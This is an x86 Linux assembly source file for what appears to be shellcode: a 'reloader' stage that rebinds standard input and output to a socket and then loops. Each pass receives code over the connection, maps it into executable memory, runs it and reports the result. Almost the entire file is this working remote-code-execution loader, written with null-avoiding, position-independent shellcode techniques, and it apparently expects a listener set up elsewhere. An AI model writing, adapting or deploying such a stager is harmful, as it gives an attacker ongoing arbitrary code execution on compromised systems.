.globl main

main:
	call test_listen
	mov  %eax, %esi

# 
# Logic:
#
#		1) While (1)
#			a) recv the length of the code to execute (recv(fd, buf, 4, MSG_WAITALL);)
#			b) mmap anonymous memory for the length of the code to be read in
#			c) recv(fd, mmap'dmemory, code_length, MSG_WAITALL);
#			d) call mmap'd memory
#			e) unmap memory
#			f) continue loop
#
# Expects fd on esi
#
reloader:
	jmp  startup

recv_fd:
	lea  4(%esp), %ecx                  # socket structure
	lea  102(%edi), %eax                # socket syscall
	lea  10(%edi), %ebx                 # recv call
	int  $0x80
	ret  

write_fd:
	lea  4(%esp), %ecx                  # socket structure
	lea  102(%edi), %eax                # socket syscall
	lea  9(%edi), %ebx                  # send call
	int  $0x80
	ret  

startup:
	xor  %edi, %edi                     # zero edi
	sub  $0x8, %esp                     # allocate 8 bytes of stack space
	mov  %esp, %ebp                     # save the pointer to these two variables in ebp

get_pc:
	jmp get_pc_bnc                      # jump forward past the middle
get_pc_middle:
	jmp get_pc_end                      # jump to the end
get_pc_bnc:
	call get_pc_middle                  # call backwards to push pc onto the stack
get_pc_end:
	pop  %eax                           # pop the vma of get_pc_end into eax

get_absolute_read_write:
	mov  %eax, (%ebp)                   # set the addr in the first stack variable
	mov  %eax, 4(%ebp)                  # set the addr in the second stack variable
	xor  %ebx, %ebx                     # zero ebx
	movb $(get_pc_end - write_fd), %bl  # set the low byte of ebx to the offset from get_pc_end to write_fd
	sub  %ebx, (%ebp)                   # subtract this offset from the addr of get_pc_end
	mov  $(get_pc_end - recv_fd), %bl   # set the low byte of ebx to the offset from get_pc_end to recv_fd
	sub  %ebx, 4(%ebp)                  # subtract this offset from the addr of get_pc_end

close_std_fds:
	xor  %ebx, %ebx                     # zero ebx
	mov  $0x6, %al                      # set eax to close
	int  $0x80                          # interrupt
	inc  %ebx                           # increment ebx to 1
	mov  $0x6, %al                      # set eax to close
	int  $0x80                          # interrupt
	inc  %ebx                           # increment ebx to 2
	mov  $0x6, %al                      # set eax to  close
	int  $0x80                          # interrupt
dup_std_fds:
	mov  %esi, %ebx                     # set ebx to the fd
	lea  1(%edi), %ecx                  # set ecx to 1
	lea  63(%edi), %eax                 # set eax to dup2
	int  $0x80                          # interrupt
	dec  %ecx                           # decrement ecx to 0
	lea  63(%edi), %eax                 # set eax to dup2
	int  $0x80                          # interrupt

recv_loop:
recv_length:
	sub  $0x4, %esp                     # allocate 4 bytes of stack space to hold the length to read
	lea  255(%edi), %ebx                # set ebx to 255
	inc  %ebx                           # increment it once to 256
	push %ebx                           # push flags of MSG_WAITALL
	lea  4(%edi), %ebx                  # set ebx to 4
	push %ebx                           # push 4 bytes to read 
	lea  8(%esp), %ebx                  # load the address of esp+8 into ebx (points to buffer to hold length)
	push %ebx                           # push the address to read into
	push %esi                           # push the client fd
	call recv_fd                        # call recv()
	add  $0x10, %esp                    # restore 16 bytes to the stack
	cmp  %edi, %eax                     # test eax with 0
	jle  recv_loop_exit                 # if eax is less than zero or equal to, we failed
	pop  %edx                           # save the number of bytes to read in edx
	cmp  %edi, %edx                     # compare edx with zero
	jle  recv_loop_exit                 # if it's less than or equal to zero, break out
mmap_file:
	push %edi                           # push the offset to mmap, 0
	xor  %eax, %eax                     # zero eax
	dec  %eax                           # set eax to -1
	push %eax                           # push the fd, -1
	lea  34(%edi), %ebx                 # set ebx to 34
	push %ebx                           # push flags, MAP_PRIVATE | MAP_ANON
	lea  7(%edi), %ebx                  # set ebx to 7
	push %ebx                           # push prot, PROT_WRITE | PROT_READ | PROT_EXEC
	push %edx                           # push length read in from recv
	push %edi                           # push null addr
	lea  90(%edi), %eax                 # mmap syscall
	mov  %esp, %ebx                     # set ebx to the pointer to the arguments
	int  $0x80                          # interrupt
recv_from_socket:
	push %eax                           # save eax
	lea  255(%edi), %ebx                # set ebx to 255
	inc  %ebx                           # increment to 256
	push %ebx                           # push MSG_WAITALL
	push %edx                           # push length from previous recv
	push %eax                           # push buffer from mmap
	push %esi                           # push fd
	call recv_fd                        # call recv
	add  $0x10, %esp                    # restore 16 bytes to the stack
	cmp  %edi, %eax                     # test eax with 0
	jle  recv_loop_exit                 # if it's less than zero, we failed
	pop  %ecx                           # pop the address of the mapped buffer into ecx
call_buffer:
	push (%ebp)                         # push the address of write_fd
	push 4(%ebp)                        # push the address of recv_fd
	push %esi                           # push fd as first argument
	call *%ecx                          # call the custom code
	add  $0xc, %esp                     # restore 12 bytes to the stack
write_return:
	push %ecx                           # save buffer returned from mmap
	push %eax                           # push the return value
	mov  %esp, %ebx                     # save the pointer to the return value in ebx
	push %edi                           # push no flags
	lea  4(%edi), %ecx                  # set ecx to 4
	push %ecx                           # push 4 bytes to write
	push %ebx                           # push the pointer to the return value
	push %esi                           # push the fd
	call write_fd                       # call write()
	add  $0x14, %esp                    # restore 20 bytes to the stack
	pop  %eax                           # get buffer returned from mmap
munmap_file:
	mov  %eax, %ebx                     # set ebx to the address returned from mmap
	mov  %edx, %ecx                     # set ecx to the length mmap'd
	lea  91(%edi), %eax                 # set eax to munmap
	int  $0x80                          # interrupt
loop_again:
	jmp  recv_loop                      # jump back through the loop
recv_loop_exit:
	xor  %eax, %eax                     # zero eax
	inc  %eax                           # set eax to 1, exit
	int  $0x80                          # interrupt

reloader_end:
